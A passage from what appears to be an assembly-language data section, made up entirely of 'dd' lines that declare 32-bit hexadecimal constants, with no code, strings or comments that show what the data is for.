51D9F9AFh dd 8E13B0E9h, 396F16A4h, 994FE22Dh, 186C07BDh, 13432192h dd 3B66149Eh, 9EFCE59h, 54B16F45h, 0BA6A2C08h, 0B2D28929h dd 0AD480843h, 0E567933Eh, 6D13FD1Ah, 0B0B0E0B9h, 8D88FCECh dd 0BE88833Dh, 4B69E3A1h, 0FFEC1CFAh, 960E5963h, 5F893D83h dd 4EF2DC5Bh, 0B093C7AFh, 2471C4F8h, 6BFAC69Bh, 0BF9F245Ch dd 8546E3B1h, 2B19DED4h, 51AE0F0Dh, 965EB40Bh, 14B0A00Ch dd 61F6796Dh, 3D66A7B5h, 0B00D88C2h, 4EC6279Eh, 0F8E5459Dh dd 48B634FAh, 0FB36CFA2h, 30931B92h, 0D53247A7h, 0BEBD147Bh dd 196FB597h, 0FBCA98CCh, 0FCCC4547h, 8A243111h, 89DED75Ah dd 74D54ED3h, 3AD1D05Ch, 7E43E51Eh, 3354E867h, 60D7B0A5h dd 0A4532DB0h, 166B351Ah, 37755919h, 7236B98Bh, 6ECBD5B2h dd 45908B2Ah, 0ADA84B55h, 475A3F3h, 9CE7081Ah, 0EE8BAC20h dd 23DB1C44h, 2BBBE177h, 12A2C936h, 0F6513D5Eh, 0F9355AEAh dd 0AEC1F934h, 0F91E8640h, 24F2C17Dh, 73437A64h, 0F9C73B6h dd 67E0F40Fh, 19B865h, 40AB4F26h, 33D76422h, 465CA6DBh dd 3B6AFB2Ah, 0D83CAA4h, 0D8DB8BA0h, 612332FAh, 1323AB1Ch dd 2C3D2535h, 0C6C26127h, 63DDA840h, 0FBED933Fh, 0C6C60Fh dd 6B699A69h, 0F1CECF2Ch, 0A87E264Dh, 3FDF7A7Eh, 5CAF64A5h dd 17860652h, 0FE4458A3h, 746ACBC0h, 0BA4B2E73h, 0A20C2C85h dd 7F9A7142h, 38AFA20Ah, 0A23DAAA8h, 92B900F6h, 730A3781h dd 0DACAF770h, 9BC32FDEh, 0D89D1C4Eh, 0AF51E3D2h, 392A8588h dd 0F497EA9Ah, 1DD0DA99h, 0C845CCE4h, 0CB38CCEh, 0BCD42CCFh dd 36AD9C6Bh, 0E3CF622Fh, 0BAE9C0D4h, 4F9DC80Fh, 52552C20h dd 32A4EE8Fh, 84CAFE72h, 95F307D5h, 0F0672B12h, 0E733CEDAh dd 81ED9A3Ah, 90B56368h, 6A6EBBF7h, 7B0A3A89h, 0FBD2A526h dd 0A5618FDCh, 3D29F467h, 39B05EF2h, 0B7B615C7h, 0FE8CD465h dd 4023C102h, 69DD1F3Dh, 3A2DF7F9h, 22D3857Eh, 1354D7A3h dd 6375E114h, 0D1D32EB4h, 2E600B81h, 19098E44h, 0E263E5A6h dd 872A4CDCh, 0F5C660D1h, 0F8AF00FCh, 0DC5DAE38h, 0AF89B387h dd 0C4A245EFh, 852F3D3Dh, 12B4D97Ah, 55E7AB5Fh, 0F27D5B62h dd 0CAFFB19Eh, 0EB55AAA5h, 22E675B2h, 0B44D4F04h, 0F96B1369h dd 0E2B843Ch, 0F2D3F95Fh, 0F15B82CEh, 22E48F11h, 538A00B9h dd 0C5AD61D8h, 0AD5E342Dh, 0FE0A160Ch, 13F03BC2h, 0E5C78081h dd 0F9741ACh, 0E423AAA4h, 213FE443h, 9A44E84Ah, 0EE5F5F3h dd 1886649Dh, 92CD0DD4h, 17B331BDh, 0E3B79591h, 36B3BE73h dd 5BFBE4A5h, 0F9AE8011h, 3A2683B6h, 81EEB35Ch, 1C7226BDh dd 234A1244h, 1204BD2Eh, 0B6C3C0A1h, 0BEA343C4h, 0DCDC4FD8h dd 0C12F3CBBh, 118542A4h, 0A6923E12h, 0AD17DBDh, 0CC3F62BFh dd 0F56ED31Ah, 7814E64h, 0BA644EE2h, 0FE0BC259h, 632A11A0h dd 0BF6B03D8h, 5C0DC267h, 8AD1C2DCh, 6FBB457Bh, 19206719h dd 1F69555Ch, 0D2E77E60h, 2272BA2Dh, 2D6E51C2h, 638EAD90h dd 6D3F59F3h, 37D6B122h, 0AD237678h, 27EFB399h, 7A0D4E23h dd 2F93BF4Ch, 9ED04D6Dh, 0BBF7B5BDh, 282AA6EFh, 48CADE4Ch dd 2BC72631h, 9FC809F3h, 4B696E10h, 36DEEB45h, 2F8B41A2h dd 939DB62Ah, 0BA657930h, 9B19EFA2h, 3D051EFCh, 0C31B2C3Ch dd 503C18FDh, 576CD59Fh, 0DBAA6820h, 8FD937C4h, 88D144E1h dd 479F1C9Bh, 0E218A564h, 19D7CEF3h, 3A921C22h, 1A2FCFC8h dd 6BA66C4Dh, 3DD2D4FFh, 0CFD2B54Bh, 84D289C7h, 23333686h dd 0F8D043C4h, 0CDF56AEEh, 1F09638Fh, 0FFA51CEEh, 36CB4217h dd 0AAAB1F8Dh, 1467A72Dh, 2F3D88DCh, 0C8FC384Fh, 0B38C786h dd 16B9DB7Ch, 49620C47h, 97A2F109h, 8D788486h, 98A0DCC4h dd 6185BB9Dh, 0BBB699ECh, 0C2CE061Ah, 80DB3242h, 75E188B9h dd 0F39D28C0h, 27283D65h, 0F70BDE79h, 0A67C6DC2h, 46445603h dd 784C13Ch, 8C3629B6h, 29312D6Dh, 894B7C79h, 9F920FC6h dd 0D2ABB0F6h, 660B6E43h, 193C05Eh, 9CC31E3Fh, 0FAB21FE5h dd 8061068Dh, 79A04695h, 0C1CF48C6h, 89173DFDh, 1610E532h dd 1BBD9369h, 0A755C333h, 67CCA035h, 5FE01AF4h, 4CD6BD57h dd 8A0C1C48h, 105EB742h, 6D400378h, 0F0EED89Eh, 14837FBh dd 36E8C3A1h, 0FAA57AE2h, 0CA9B4594h, 1E0C4F81h, 0B15E0EA2h dd 14DD7A3h, 0C10B5185h, 0B7F4F0CBh, 0AB6BF955h, 6D0CEA84h dd 0E60E0022h, 8DB45CF1h, 0C6E86642h, 0B0FA6E44h, 4B551C48h dd 2243D464h, 15F79CFBh, 0B546A4EAh, 2BC8A3CAh, 41CD5387h dd 0E8292DE8h, 181234B3h, 0A206576Ah, 0E1588519h, 56EF03B6h dd 85ED05F3h, 1B0C8A92h, 0F96F3798h, 40406660h, 7B313FEDh dd 564A6343h, 0FD60C469h, 0DA653A3Ch, 35339455h, 40EAAC9Ch dd 0CFEBB704h, 0B08FD642h, 0D0895ED2h, 2D4F029Fh, 9E2C6FDCh dd 5B086BF9h, 0B56A4F38h, 0DFE4E349h, 0CEAE157h, 0E1A2AD03h dd 70954066h, 55EF19F3h, 0C7A793A9h, 7792AEFh, 2AB0FE0Dh dd 4524BA3Ah, 0A183C93Fh, 0C9B79F41h, 0A1821CE8h, 59C12358h dd 280D57B9h, 79F29B4Ch, 0F2B0DEFCh, 57987493h, 324EFF2Eh dd 627AFE17h, 86B7AD84h, 7B419436h, 5511825h, 5F79832Dh dd 2C028A2Ch, 84FB6C0Bh, 5B9E2E72h, 948AF7F0h, 6EE29B00h dd 0D20686FDh, 497446Bh, 259D4BB1h, 75E8ABD6h, 494A4A18h dd 3EB61094h, 53AC70C4h, 411C2D2Eh, 1184EF69h, 7F8F79D4h dd 79A83A1Dh, 0BC842Dh, 0E6066F67h, 916ECBF9h, 0DAB201Dh dd 0F3E595B1h, 0C0A5986Ch, 9E495A74h, 0D9286CCFh, 0DC6E11DFh dd 6EC7133h, 0D7BB57D7h, 2D725694h, 58127927h, 9EC443BFh dd 0DF2AB608h, 1D6A4D94h, 3ABC29E9h, 1442B4A8h, 0D9E811C0h dd 0C8F1D619h, 71EE52B7h, 42E3F2D3h, 6CE68ABh, 896CBA5Dh dd 2556A47h, 5FB345DFh, 58AFD389h, 12E011DFh, 0DA1A826Ah dd 0A20C77A9h, 0F8BA6D8Dh, 0F9678058h, 92E85E41h, 7BFB37E7h dd 0D163EF14h, 8E7D97ADh, 706CFA69h, 0E8A7D22Ah, 38592111h dd 0CFC43C8Ah, 0B14AE5EFh, 68AA127h, 907A993Eh, 0AEE4FC71h dd 38DBB33Ah, 4B594BD8h, 0F3A8311h, 6AC70C09h, 808DDACDh dd 92DDDD70h, 4FA62BEFh, 9BEFC7F6h, 0DAC400C9h, 2027A66Dh dd 39EB69B7h, 52E38449h, 251AF3Ah, 0B36C1A77h, 0CDBB1100h dd 156477ADh, 0D869C060h, 7B18C8AAh, 8210B008h, 0C3A1E619h dd 63D0A6F0h, 106E2D8Fh, 0B9119CCAh, 0B61047BAh, 7D9445CDh dd 1554C7ECh, 642AB137h dd 0FCDACF61h, 6FCF104Ch, 995C4C45h, 0F912E2E9h, 2C57243Ah dd 56D74974h, 0B51A45C3h, 4FBE5D80h, 0CA27BF95h, 36C10120h dd 0CE94AC3Eh, 1599E039h, 0E8688172h, 0B0C5F8C0h, 81A9707Ch dd 75D2837Dh, 5947A5F6h, 55278F48h, 0B77BEBA5h, 36D37842h dd 7501CDA7h, 0CB576731h, 0D7395A32h, 0A65FA3E3h, 780050AFh dd 96D90A4Fh, 0C2C8197Bh, 1E785732h, 0E8C8FD88h, 32252B91h dd 0CA41E59Dh, 0CEAE8105h, 0A6242D1Ch, 87F2FD3Fh, 6CE1965Dh dd 8F56679h, 2790ECDBh, 2DF8293Dh, 0C24D5C0Fh, 0CC68AECFh dd 2224116Eh, 4E99C752h, 526A2EDDh, 9E9A5310h, 0AA3CEF5Dh dd 4E9E3488h, 121E571Dh, 3A5736BFh, 0B9AAB71Dh, 2D40ABF5h dd 0C9D02EE9h, 0A6A07475h, 9EAE7207h, 0E031D3B9h, 8D1266BDh dd 0B8C8D389h, 0E5EFFF2Ah, 0AE527C19h, 7727358Ch, 0F9A8DE77h dd 0E080A925h, 0EE458DCh, 0E7D20A66h, 4AC65F1Eh, 409F08DBh dd 433B03E7h, 0E0343659h, 0F26E8751h, 572E7BCDh, 9E9F918Bh dd 0E942FF29h, 0DFF7C659h, 55CB68A1h, 37B53DEh, 2A0AF937h dd 0CD18AC6Ah, 0B449E58Eh, 684E547h, 559142D3h, 0AFA21660h dd 0B806CCB1h, 2DBDE807h, 318ED605h, 0E35F29FBh, 37F41121h dd 82F51642h, 6362BB93h, 0C762D9CCh, 4EEA95D7h, 0B0D2A8CDh dd 0F4F077BCh, 831D9D13h, 2013EAFh, 15E1E871h, 65068126h dd 0D1766CEh, 6E9027A9h, 5307C6A8h, 969F9C5Ah, 0A66B2500h dd 0D2549FC3h, 3C03C53Bh, 16A013B2h, 2C5F6A82h, 35B2AF62h dd 368970A3h, 324ADACCh, 7508E9F1h, 0C87E4CAFh, 2B96729h dd 0C49E1C7h, 39F83518h, 0DFAF7BFCh, 0D4234B01h, 387A7AEh dd 0EABFC679h, 36082B1Ah, 0D8FF083Ah, 0DAA5DB2Bh, 0C767F724h dd 10175FBAh, 0AE2FCCE5h, 4FC3E7B4h, 265414EAh, 85A66AA2h dd 4AFC773h, 0EF5024F5h, 0C3A3D99Ch, 0C6F213D9h, 7D6D931Dh dd 9AA1AB99h, 0CD924282h, 92E3486Ah, 8F4E1C6Ch, 6FA2F96Ch dd 8B232C17h, 2E7F49D9h, 895E6E9Dh, 0FB1B21C5h, 31452E3Dh dd 2B712C6Dh, 65070959h, 0AAC0200Dh, 80DE5CEFh, 531A9h dd 1BBF1FC2h, 3A7D5E7Fh, 0C406D076h, 8D5DA591h, 343CC1CBh dd 0ABCAD353h, 3091F1E8h, 0E07589E8h, 400B90AEh, 3206D2D6h dd 7FE95828h, 5E21764Bh, 3FFA398Eh, 259D20h, 0D75A2D3Fh dd 924BC4E3h, 0A7397949h, 0BD3FDA96h, 0DB739A32h, 6EF0F261h dd 8AC63111h, 2DAF8032h, 6D98A7A8h, 9EDC2133h, 0CC07CCCFh dd 0C2A30B31h, 0B8A61D0Bh, 4FC3DFF3h, 5B37907Ah, 0BA024676h dd 0EF1C3946h, 2CF0F99Bh, 1B7A13CAh, 5E8A31Fh, 6749AF07h dd 8EAFD4FEh, 8EFCA253h, 0A099F34Eh, 93949334h, 0CDA9D9B2h dd 43BFBE5Ah, 0F672CACDh, 0CEEC76A1h, 0F8FB2A3Dh, 4A9F7FDFh dd 0E12242BBh, 0A133371h, 89EA1A91h, 83C1B412h, 0F722B615h dd 0A88EAD58h, 9ED1BFAEh, 1397DC99h, 9401F604h, 46285E24h dd 1DF50211h, 0D302C7BEh, 0F2DC603Bh, 0C9AA2Ch, 0EE3556A8h dd 0F89D7719h, 0AE2496D7h, 92EBC059h, 1E3B1842h, 1E85C697h dd 988AD4E0h, 0DB098395h, 7ED6194Fh, 81EFDD8Bh, 0F4E9C186h dd 79769266h, 8FBA5DC6h, 5938C424h, 50CAEE7Eh, 7D11C32Ah dd 6C4825E4h, 5E281620h, 685A1560h, 0E7F211D8h, 0B5B36Fh dd 0E5EF3BEh, 66CF6330h, 0BF435A92h, 0CBF55815h, 0E9D12866h dd 0C3A0967Eh, 0CECC4716h, 159A490Ah, 1FF48074h, 4934391Bh dd 5A11C397h, 18A4FAE7h, 54F4BDE0h, 0E8F2E01Dh, 0D9A8B875h dd 6D9A17B9h, 0D6FD33BEh, 0E99C7789h, 0F5E73D81h, 3F5D44A9h dd 4DDDAA28h, 365F78E8h, 7E80FAC0h, 0E042E9B4h, 0D956C402h dd 0A3D820D7h, 812147CBh, 27A85A58h, 1B8BDF51h, 0D18965FBh dd 0AD67C1A3h, 375AF552h, 18B5D434h, 227D1E4Ch, 1F12075Eh dd 43865B88h, 608D60AAh, 7839F9FFh, 110C53D2h, 84A02193h dd 1EBAA79Eh, 543B49CEh, 5A105B12h, 5B03F693h, 0E0007ADh dd 0F5F6A12Dh, 0C5BE4284h, 9171BC3Dh, 65110D1Ah, 0F85FBACCh dd 0E11DAFBDh, 0AB5B279Ch, 486A5A5Eh, 0E2344E9Bh, 73AF89BEh dd 0EB4122CCh, 1D9C573h, 424C5FB0h, 0DD2A0981h, 0BD1085Bh dd 60A13834h, 0A5D2257Ah, 43CE60B6h, 0C9A49DD0h, 1C5943C0h dd 708FF3Eh, 8358DAC3h, 0A7B68679h, 0DA330C2Bh, 0B2E1E5FAh dd 91386B96h, 6E7F53FDh, 0C0E75A4Dh, 6F46284Fh, 0FC7B5156h dd 6CC1197Bh, 41AB3FF1h, 8EF0A372h, 0CEE111B2h, 90B9CAE0h dd 3225E507h, 0D5050D61h, 4397EA92h, 168723E2h, 5F25C750h dd 0F8C03E91h, 44903CF3h, 0E175B0AEh, 51AFDFAh, 2AD0AAC0h dd 0EA63AC3Ch, 6ADF3749h, 0BF1F3145h, 3EA7ACACh, 98E608B0h dd 0E974097Ch, 1F3EC381h, 96A0E5Bh, 1CB52819h, 0E887FA64h dd 5BEC4958h, 1554AF50h, 0EB50EDAh, 2F9AFA3Dh, 9749EECEh dd 171056A0h, 0ACE012D4h, 0C32F8040h, 0AC1ABF82h, 5CEBDCB5h dd 4BD3ED23h, 11CA8BD6h, 0CF550BEDh, 9B25FC26h, 78BDC989h dd 980D7E6Eh, 0DAF32191h, 595C2E67h, 6EB5EDB7h, 3B102F74h dd 3F58FF35h, 0C6D05099h, 0B2EED30h, 4B4935Bh, 0BD88EEEEh dd 37C26EC2h, 55533D23h, 773B335h, 55AA51B2h, 0BFC35967h dd 984FBB85h, 369B1602h, 0CFE7C36Eh, 0DFCA844Fh, 8E5132A6h dd 22B98C1Dh, 0A6F947EEh, 47025B87h, 516713EBh, 9A49A1F4h dd 52CFE7E3h, 5F87C412h, 23C7AF5h, 661D9D2Ch, 0C7F9138Ch dd 0DFE9A265h, 0BCA0084h, 0FC57CACDh, 0D2CBC689h, 0A141FB77h dd 842E3E1Ch, 9CDD04ADh, 0B3880406h, 5A000A15h, 58055F8Eh dd 606A12B3h, 1278A05h, 0C9F0DD99h, 0A3A8C307h, 0B9DB11BFh dd 689D9A78h, 4CE6EF9h, 0EA87800Ch, 874D06B3h, 63828771h dd 4890ECFEh, 0CE4716A9h, 50308BD5h, 0D8A8ACE8h, 76732F20h dd 1CA3C072h, 0D458913Bh, 0EDDAD8A3h, 3DE3E081h, 798AEA06h dd 5C784F39h, 4C7C4496h, 13466F4Ch, 0CCEC878h, 2EDEB056h dd 5ADB0559h, 8C0552B4h, 8DF0C5B2h, 9988470Fh, 7D27062Ah dd 7E98DA3Ch, 0F8864B6Ch, 4D4AF424h, 0C8CCA213h, 273B0B5Ah dd 8B8B54F0h, 4923DCCAh, 336AC551h, 9AE17FFh, 0E496082Bh dd 12519DF0h, 35C2562Fh, 0DE737E78h, 69E6C869h, 5D687287h dd 3C39955Bh, 0AC1C61DAh, 82D3D724h, 790BA100h, 860C44DBh dd 46603DDAh, 0BE7259E4h, 571E7D42h, 6D0FE39Dh, 1F1B6BADh dd 2264B3BAh, 0D67F61Ah, 0B4B86BE1h, 8ACF0280h, 8D57DADDh dd 0FA264D60h, 1890935h, 342D6F45h, 5963A71Dh, 0FDA3EBB9h dd 6F1040B6h, 0D549A1C7h, 2E38158Eh, 5F6DBFA5h, 46FD6996h dd 8B812FBAh, 0EA5660F7h, 8CC32BA8h, 0AEFAD1ACh, 2DEF76BEh dd 904DAA21h, 6C7322E9h, 0E2D9605Eh, 2AB02690h, 3C23F238h dd 688F4430h, 0A4E5D367h, 0BAAA232Bh, 85A8C860h, 0C5A244EAh dd 1CBA4F16h, 0A6B273A2h, 0E7FD56BDh, 388081B4h, 91C140BBh dd 2CD57EDAh, 27365C97h, 1418B908h, 16F0D8D3h, 4F7FDA0h dd 6D46976Dh, 0E07F6B32h, 1652BBF0h, 0FC97491Ah, 8C094AF1h dd 0D5351E1Ch, 72778ED3h, 0D32556EBh, 9F3A9559h, 0C67DEE71h dd 2DE10A82h, 1F74BC28h, 946BD1CCh, 0F634DAA0h, 0BB139597h dd 606970D2h, 6FEAB304h, 69EC6456h, 53E74D0Dh, 4167C1BFh dd 4CDC1AAAh, 9AD60B7Ch, 0AE1DD209h, 681B613Ch, 3508A05Ch dd 9C324485h, 7024CBD2h, 0A68B022Ah, 0C49AA10Dh, 0CB536BA6h dd 4E544E5Ch, 21178518h, 0A015876Bh, 5C4F5F2Eh, 0E053F08Ch dd 0F61B0B1Dh, 5ED3F9F2h dd 17B23133h, 0A848D0A6h, 5688BFD4h, 0ECE5C992h, 456CEAABh dd 0F37D10F8h, 5BC7E759h, 35F48ABh, 0E1343180h, 8AF143B0h dd 0EB177485h, 8F8E9D68h, 226A4FC5h, 401CBCB6h, 7660F6CEh dd 0B71E4C09h, 4A306BBAh, 8228340h, 5BB7A621h, 0FCD1642Ch dd 0E4B4DE05h, 0BC174785h, 3FB6591Dh, 0BFD4F23Dh, 0EC9DCF3Bh dd 0A6A3ED57h, 0A158E4ADh, 0FAD3EAF9h, 101651F2h, 0E35221EEh dd 0EAB01EA5h, 0DBE4EE57h, 53A0F9B5h, 16EB9FBh, 0DEB9FCCFh dd 97090785h, 84FAEFB4h, 290D65BAh, 6E6A7B1Eh, 0A1F0F7F3h dd 4FE4CB13h, 0FE21EA2Fh, 0C4270007h, 0C58A1161h, 0CBBF3EAEh dd 0A0F19C88h, 0A4715B37h, 498AF767h, 0AFA460E1h, 0E0DA9473h dd 6E6E352Bh, 0DDD818D8h, 0E3EF5786h, 0B42B42Bh, 0AD54E3A4h dd 6533A487h, 0E66E516Dh, 7A4FF716h, 0C771DC5h, 4E9E31E9h dd 0C1B2EB90h, 0CB231868h, 77094A10h, 48FEAC14h, 9C5AC9D5h dd 74A28AF6h, 54986A65h, 93B12C9Ch, 0C9BBB519h, 98D3F082h dd 32BBC4B5h, 80DF3AFh, 0E48700D6h, 0C10CCA84h, 4129A6F4h dd 902F1A37h, 5D74449Ah, 0A06FBCD2h, 0D05E72Dh, 0CBE2C89Ah dd 0BFC54541h, 0BABC74D6h, 6313E5B1h, 0AF90CA13h, 0FC78FC4Ah dd 78121687h, 0DD02B1C9h, 7D02D06Bh, 2066F50Bh, 0B11F8EA8h dd 0A690D44Eh, 0C51BEFA0h, 96508DB1h, 5C9B3195h, 0B9C28A16h dd 34637766h, 41CA9D9Ch, 0F2ECAA29h, 77020E99h, 7B57E20Ch dd 4B92AF5Bh, 32CB464Dh, 0A5AA36A0h, 7B434259h, 1B373C0Eh dd 568F7D1Ch, 6D0A784Dh, 3DFCD50Fh, 0A4583209h, 0D333ADDCh dd 7A4D993h, 2D923856h, 15891D30h, 6D9BB0Bh, 0D4957E3Eh dd 0F96CE99h, 5DD831ADh, 0E43BDFCBh, 5397EBC1h, 0E660D225h dd 7ABEF9DEh, 65925C5Dh, 6684C66Bh, 9A4E7C81h, 97139A6Bh dd 0F10418A8h, 396988C4h, 881F845Eh, 0CE8BB8BAh, 89AD9E03h dd 630E62D6h, 924718EFh, 43A06CE8h, 130C3F76h, 3F753DAAh dd 0C7541A5Fh, 0E7028416h, 0C5C61F3Ah, 12341B1h, 0C917F918h dd 91FF9612h, 0E481036Ch, 0A57E7858h, 0B0D8D6E3h, 0C991D1C8h dd 0CFCD197Dh, 294448DDh, 0BECF8C7Dh, 0A98788FFh, 878AF26Bh dd 0EAB1FAFh, 3CD0F958h, 183FBC01h, 92CE5647h, 0A5EB41FDh dd 2ED5722Eh, 0ED654A9Eh, 3964A953h, 0C27A5308h, 6B98B4EFh dd 46CEFE80h, 814E9B01h, 343C9084h, 6FBE5308h, 78CD0C6Eh dd 1003F47Eh, 6D542F64h, 0C7AC032Eh, 0FC75AC8Bh, 566F763Ah dd 69A90362h, 8D18963Ah, 3712E2AFh, 0B41EBB23h, 31F77528h dd 0A38AEFFCh, 47DBF87Ah, 0DC2881B9h, 38CB58C0h, 0A55E03CCh dd 342BB99h, 0B22450B0h, 0B9ECC6C9h, 0C2BE0F72h, 0B3ADA185h dd 67D8841h, 0AE82E8BBh, 0D885ED1h, 0A883E2F6h, 0CA601255h dd 0ED698499h, 392B058Dh, 872EBE0h, 57EB51AFh, 5DD0474Ch dd 282D884Eh, 4CC9D35h, 9A00E296h, 2CCF16D9h, 0AEDF1F8Fh dd 0C3E1CBD2h, 0C49B90A2h, 0BD54F5ACh, 8F081DFDh, 593BB685h dd 75706FF0h, 13E4A4C4h, 0D3429379h, 839699B7h, 0B094DB64h dd 55AB58A5h, 674D9E1h, 0C48A9FC2h, 7A92DD04h, 0B22A79h dd 0B12C14CBh, 6A8C0661h, 44183B4Ch, 0CBB90E0Eh, 39876D3Fh dd 0E9ED94ACh, 0F4875E21h, 4FAE7DEBh, 7D8B8615h, 16710C32h dd 0DAD3D8Eh, 7D74BE96h, 9DEC885Bh, 6BD40103h, 818355A5h dd 0BA209F37h, 660496B6h, 0DBE9918h, 0DA44073h, 0AFEAA98Bh dd 0D5CABEA5h, 23CB90E1h, 17845E75h, 0AFF555AFh, 3A47B157h dd 3931C18Fh, 0C96414E5h, 0AF6FF736h, 4D75EEA3h, 2788E0Bh dd 0B5AD7394h, 0E0DDF594h, 9D92613Dh, 0F29A4AAAh, 7E3C028h dd 506D3625h, 85C9B872h, 78FADAFCh, 0DEEF1027h, 0FD1AF448h dd 935C3D66h, 4F7747BBh, 0F5B6E26Ch, 220C86B5h, 4FDABFEh dd 4E79D86Bh, 0EF5E9696h, 47E8082Ch, 0FA007346h, 3E33F734h dd 3C4DD86h, 444FF7FCh, 0C7EE439Ah, 0F87DFFB0h, 3AB3A644h dd 0B6D8DC94h, 17AECE8Dh, 0AA964661h, 1AB2C0CBh, 0E5FEF08Eh dd 0BF0BD9E5h, 0BCDAEA9h, 0A2BAF17Ch, 77509F0Ch, 788F6A2Ch dd 0EE76E29Eh, 10519231h, 4E27C514h, 93AD23D3h, 0A56D4E4Bh dd 262E191Bh, 4F175238h, 0FD392F53h, 685FB3F2h, 0B262E1E5h dd 36B02CCDh, 0E1D19DD3h, 496D4330h, 6351F449h, 3624B4Dh dd 7EAC3039h, 3171C7C3h, 0BF77BB43h, 0FA479C46h, 79F444FFh dd 1E81B5C9h, 0E38F87E4h, 0ADE4EA90h, 0AD4CFC4Ch, 8CEA6EE5h dd 9BCDEDD4h, 1908CE2Bh, 0CDA8765Ah, 3E625245h, 7560F601h dd 48ED63ECh, 8C82A977h, 6412C15Bh, 55ACDDD5h, 8BBA7BA7h dd 9B2B58E4h, 0D9CEDA1h, 258A860Ah, 8B2D7F42h, 61154436h dd 0C64A2100h, 0B76651AAh, 779F9F49h, 21295DEBh, 9B7FA2D5h dd 0B9F1C95Bh, 0FA21EEB7h, 3D837F48h, 0DF031298h, 9670D675h dd 0D177B5D1h, 0FA3B14D8h, 0A02BA74Fh, 8A190D82h, 0ADAC6F19h dd 44ADF42Eh, 0B1F6F50h, 7EAA1D19h, 0B20F05DCh, 77738935h dd 0DED98AF7h, 0F6225167h, 0F4540F86h, 80B12809h, 8D85A972h dd 0AAABA124h, 0F2CE5689h, 41C87388h, 0B17AD9D0h, 0BA66EB4Bh dd 3AD2C47Ch, 0E9828D8Dh, 0CA532DD9h, 65822FC0h, 2B4A6BE8h dd 0C9DB7151h, 86143A2Bh, 0E4D457EDh, 49C762ADh, 9EBB1A1h dd 115217Bh, 5C511820h, 3B6434Bh, 7780106Fh, 0B6C0A89Dh dd 2C588589h, 0BD6DF65h, 0B49E9F8Ah, 0CA108D66h, 2357948Ah dd 5E0001B3h, 77A081Eh, 47B2D44Eh, 0AA35C1E6h, 4226017Bh dd 0D6001D99h, 3AD899C1h, 7B7A5C18h, 0FC8CB27Eh, 178964D2h dd 6C0D8246h, 0D4615E94h, 89B2868Eh, 429B812Fh, 0EB973E43h dd 7FFDC909h, 4AB19A23h, 7706F901h, 9A0E9D4Ch, 0E18D6F93h dd 1BB94A7h, 0BE13623h, 8F1DFE77h, 0C507A695h, 0FD4FB3BDh dd 0C48AE09Ah, 7BEA52C3h, 68802EDFh, 365BCC3Dh, 0DB9EF43Ah dd 858982B0h, 0AD7C1898h, 610AF07Bh, 0DB859010h, 3F2C6C1Eh dd 0EBFCD427h, 4BC71B06h, 93F86D9Dh, 0D00EC11Eh, 71C547DBh dd 3759D9C1h, 0FAA7516Bh, 0DB202A68h, 0AFE0B1D7h, 91212511h dd 69B9B770h, 8061E21Dh, 0AE0CE6DEh, 747EC4Ah, 2C57E576h dd 46772255h, 6CFA93ADh, 8856CAE7h, 0CD3B2637h, 0BC2A8B52h dd 0C7C5746Bh, 0E53336B9h, 0A9DC1D16h, 2BB7FA58h, 15757D3h dd 89B41BCh, 0EB662D31h, 28D33F3Fh, 5BA5A736h, 0D0588519h dd 0FE38D2D2h, 37661585h, 597E567Bh, 1C982E2Eh, 0B8DB1475h dd 0CA14EA96h, 7D495436h, 9503B3F6h, 99FF1F48h, 0A6D25FE6h dd 0D0DC137Ch, 0C25FDCBAh, 6FFD123Eh, 9D6FBE2Eh, 0DC4EA2BAh dd 6A19D49Dh, 0E1DCC853h, 99E446DAh, 0BA90ADDBh, 5E9B8143h dd 0A8E064CEh, 0C5F8AB84h, 4B9CDA60h, 0D6C16964h, 35C45365h dd 0F8C971CDh, 619FF3Ah, 0A64B5F58h, 0B36476F5h, 195FD89Dh dd 2747B386h, 38FDD9A0h, 8227028Ch, 0CB729286h, 0F4EE65CDh dd 6E5D59CAh, 1B3ABD5Bh, 0E4231191h, 0E1B5ACAEh, 88D28A36h dd 67A09C3Dh, 0B85DCA64h, 0BB1EF25Ah, 0B34FDA85h, 8C2362D7h dd 0E52E1230h, 0B297CB00h, 0E8ADE145h, 0A35C93F9h, 5E9C50B7h dd 278F3EFEh, 0D99CEAA1h, 56BEC2A4h, 3691421Dh, 0A70F1203h dd 0F331FF14h, 0F5F75F4Bh, 0A620CAA2h, 0DDC0E794h, 0DF7DB77Bh dd 3B58302Ah, 0E7BD79B1h, 48BDF4D9h, 0FDA58CD1h, 0E88AC886h dd 61E0E9FCh, 2355C58Ch, 0C1FE45B1h, 95C1C6CCh, 0DEC0AAACh dd 0E98B1958h, 0C7BEE9A0h, 420E620Bh, 1766AAFh, 483F02h dd 0F4A0DEE7h, 0F24F24F2h dd 86EEBBC5h, 0DA3F0BC3h, 1340718h, 75863A9Ch, 43AE9A61h dd 2E99AD1h, 0FF5C74B3h, 484FEC12h, 0A572A108h, 0FC56D36Eh dd 30E56F19h, 3675CB0h, 5CB630h, 0A35FB13h, 36A68095h dd 2859EBCFh, 2BAB7D72h, 76202F9Dh, 0A215C953h, 0C26C3CBCh dd 82AEE63h, 0B8AF5A27h, 0BCDB35D5h, 0EDA24952h, 3797B9F0h dd 0C56B516Bh, 5D1FF5B8h, 450E8395h, 51EA2ACAh, 4D41921h dd 41E1BC52h, 5814F467h, 9F9882E2h, 3C6F1930h, 4BB4AD17h dd 7533141Eh, 5DCF2B10h, 77C0B0ADh, 231F2608h, 91F67B73h dd 82CF2245h, 0D4E6E76Ch, 0BA6AAD0Dh, 30A63032h, 1534CF9Dh dd 0CAD93D52h, 808E41FBh, 0F8748609h, 89C91191h, 7BB6EB25h dd 7F8F5B2Bh, 21F2B368h, 0A4887C98h, 59B236D8h, 0B41C16D1h dd 2A96340Dh, 37793CECh, 884A9DA9h, 0AE65BBBAh, 43E6D08Ah dd 29B43DE9h, 68F86787h, 28601063h, 6B27B960h, 4233B477h dd 919D940h, 0F01469C5h, 0D845F2EEh, 0F6862200h, 93FA87Ch dd 0B7EC6F49h, 270DFD5Ch, 0BE85A518h, 50999E5Ch, 0A9A2Eh dd 62EF5C6Eh, 0EAFDE4F1h, 0AE71EE12h, 7FDBEF40h, 710C3C9Dh dd 61709BC2h, 0CE001930h, 0DEF984ACh, 51038859h, 955A9931h dd 0D64EF339h, 7DB15DC1h, 0A43F3AD1h, 0D0419F37h, 88F293FBh dd 4AE38D43h, 1238B9D3h, 0EF94A51Dh, 28E13F3Fh, 75BE98C7h dd 78B3BA51h, 0E781A4CBh, 1DACAA56h, 5B65CF9Ah, 13654C61h dd 5FF117D7h, 273E23CBh, 7C53468Dh, 0BEF67687h, 4631F13Ah dd 4A86D176h, 